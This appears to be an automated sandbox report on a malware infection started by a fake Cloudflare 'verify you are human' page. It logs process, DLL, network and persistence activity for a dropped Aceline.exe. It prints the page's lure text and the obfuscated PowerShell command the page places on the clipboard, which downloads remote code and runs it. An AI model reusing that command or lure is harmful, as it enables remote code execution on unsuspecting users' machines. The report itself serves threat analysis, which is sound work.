Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: mscoreei.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: clr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: clrjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: system.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Section loaded: system.drawing.ni.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1751939874.0000000007B1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32ure.dllMicr$$ source: powershell.exe, 00000009.00000002.1753801176.0000000008D60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1754036557.0000000008DFB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\l33tninja\source\repos\WindowsProject2\x64\Release\WindowsProject2.pdb source: Aceline.exe, 0000000A.00000003.1857693909.0000019A30F94000.00000002.00000001.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000002.2111675186.0000026B2CAF5000.00000004.00000020.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000003.2082001715.0000026B2CAB4000.00000002.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1754036557.0000000008E0E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\l33tninja\source\repos\WindowsProject2\x64\Release\WindowsProject2.pdb$$ source: Aceline.exe, 0000000A.00000003.1857693909.0000019A30F94000.00000002.00000001.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000002.2111675186.0000026B2CAF5000.00000004.00000020.00020000.00000000.sdmp, Aceline.exe, 0000000D.00000003.2082001715.0000026B2CAB4000.00000002.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbTs source: powershell.exe, 00000009.00000002.1754036557.0000000008DFB000.00000004.00000020.00020000.00000000.sdmp

Source: Aceline.exe.9.dr	Static PE information: real checksum: 0x5a5c59 should be: 0x5ad4ff
Source: Aceline.exe.10.dr	Static PE information: real checksum: 0x5a5c59 should be: 0x5ad4ff

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04EA0A6D push edx; iretd		9_2_04EA0A82
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04EA12C8 pushad ; iretd		9_2_04EA12D1

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 1.2

OCR Text: Cloudflareuerificatio g the action below. Veri Complete these Verification Steps To better prove you are not a robot, please. Press & hold the Windows Key + R. 2. In the verification window, press Ctrl + V. 3. Press Enter on your keyboard to finish. clou You Will observe and agree security of your connection before you are hut*"' CIOudfIare proc Perform the steps above to VERIFY finish verification. Ray ID' Performance & security by Cloudflare

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Clipboard modification: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	File created: C:\Users\user\AppData\Local\Aceline.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Aceline.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Aceline.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Aceline.url

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49761

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
